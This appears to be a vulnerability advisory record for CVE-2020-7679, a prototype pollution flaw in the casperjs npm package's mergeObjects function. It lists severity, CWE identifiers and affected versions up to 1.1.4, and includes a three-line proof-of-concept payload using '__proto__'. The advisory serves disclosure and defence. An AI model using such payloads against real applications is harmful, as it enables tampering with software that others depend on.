GHSA-vrr3-5r3v-7xfw

Suggest an improvement
Source
https://github.com/advisories/GHSA-vrr3-5r3v-7xfw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-vrr3-5r3v-7xfw/GHSA-vrr3-5r3v-7xfw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vrr3-5r3v-7xfw
Aliases
  • CVE-2020-7679
Published
2021-05-17T21:00:52Z
Modified
2023-11-08T04:04:04.341567Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs
Details

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
Database specific
{
    "nvd_published_at": "2020-06-19T11:15:00Z",
    "cwe_ids": [
        "CWE-1321",
        "CWE-915"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-11T22:26:54Z"
}
References

Affected packages

npm / casperjs

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
1.1.4